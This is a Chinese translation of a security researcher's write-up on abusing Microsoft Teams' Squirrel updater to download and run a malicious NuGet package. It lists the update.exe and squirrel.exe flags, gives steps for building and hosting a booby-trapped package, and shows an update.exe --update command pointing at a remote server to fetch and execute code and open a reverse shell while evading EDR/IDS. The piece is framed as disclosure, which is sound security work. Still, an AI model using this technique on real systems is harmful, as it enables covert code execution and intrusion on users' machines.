Microsoft Team是微软Office套件中一个用于公司团队或专案团队的交流工具,集成了线上聊天,视讯会议,档案共享,多人同时文件编辑等诸多团队常用的功能 ——百度百科
最近,我在研究微软旗下的“Team”工具,发现了一个非常有趣的功能,update。我从松鼠文件中了解到,这个功能可用来自动下载和执行Nuget包。而对于攻击者来说,这个功能貌似能用来下载和执行恶意程式码。
Nuget是一个.NET平台下的开源的专案,它是Visual Studio的扩充套件。在使用Visual Studio开发基于.NET fr amework的应用时,Nuget能把在专案中新增、移除和更新引用的工作变得更加快捷方便。 ——百度百科
在花了几个小时研究后,我写了一个简单包,配合“Team”中的update功能够反弹回一个shell。
于是我很快向微软报告了这一情况,并很快得到了回应,他们表示将在不久后推出更新版本。于是,我本来打算在问题解决后再公布我的发现。
但是,很快我就发现不少安全人员都已研究出成果,并公布在社交媒体上。例如,研究人员MrUn1k0d3r就发现了update的一种滥用方法。
不少研究人员都为网络安全奉献了自己的力量。于是我也决定公开自己的发现,攻击者可能会使用这项技术绕过EDR/IDS的限制。
存在漏洞的位置:
%localappdata%/Microsoft/Teams/update.exe
%localappdata%/Microsoft/Teams/current/squirrel.exe
相关命令:
%localappdata%/Microsoft/Teams/update.exe --download [url to package]
%localappdata%/Microsoft/Teams/update.exe --update [url to package]
%localappdata%/Microsoft/Teams/update.exe--updateRollback=[URL to package]
%localappdata%/Microsoft/Teams/current/squirrel.exe--update=[URL to package]
%localappdata%/Microsoft/Teams/current/squirrel.exe--updateRollback=[URL to package]
建立payload:
1.随意建立一个nupkg包,在我的示例中为Exploit-1.5.60-full.nupkg
2.解压缩后,进入Exploit-1.5.60-fulllib et45,你也许可以看到某些熟悉的东西,
用你的恶意程式码替换进去,再将整个资料夹压缩为Exploit-1.5.60-full.nupkg
3.使用下面的命令计算元资料。
sha1sum Exploit-1.5.60-full.nupkg && wc -c 输出 : fa8b87f0b995498a6e890c832dcaf968997608d4 Exploit-1.5.60-full.nupkg 4695
4.建立名为RELEASES的档案,复制上述输出储存到档案中。至此,因此目录包含2个档案Exploit-1.5.60-full.nupkg和RELEASES。
5.上传档案到某个HTTP服务器,让它们可被远端访问。
攻击流程:
视讯地址:https://youtu.be/rOP3hnkj7ls
1.下载并执行:
步骤1:进入目标应用程序资料夹,%localappdata%/Microsoft/Teams/
步骤2:执行以下命令,
update.exe --update=[HTTP服务器的地址]
例如:update.exe --update=http://192.168.10.251/
执行后,应用将下载恶意软件包并自动执行。
2.下载(另一种方式):
update.exe --download=[HTTP服务器地址]
以上命令会将包含shellcode的包下载到“packages”资料夹。
影响:
利用Microsoft官方的二进位制档案执行恶意程式码。(恶意程式码不会储存在硬盘中)不需要高许可权,普通Windows使用者都可利用。攻击者可借此规避EDR/IDS。如果应用控制了系统档案,则可能会导致许可权提升。缺陷:
update所涉及的URL没有任何限制,更没有身份验证。下载的资料无安全检查。安全更新功能的引数也许应该写死。感谢你阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12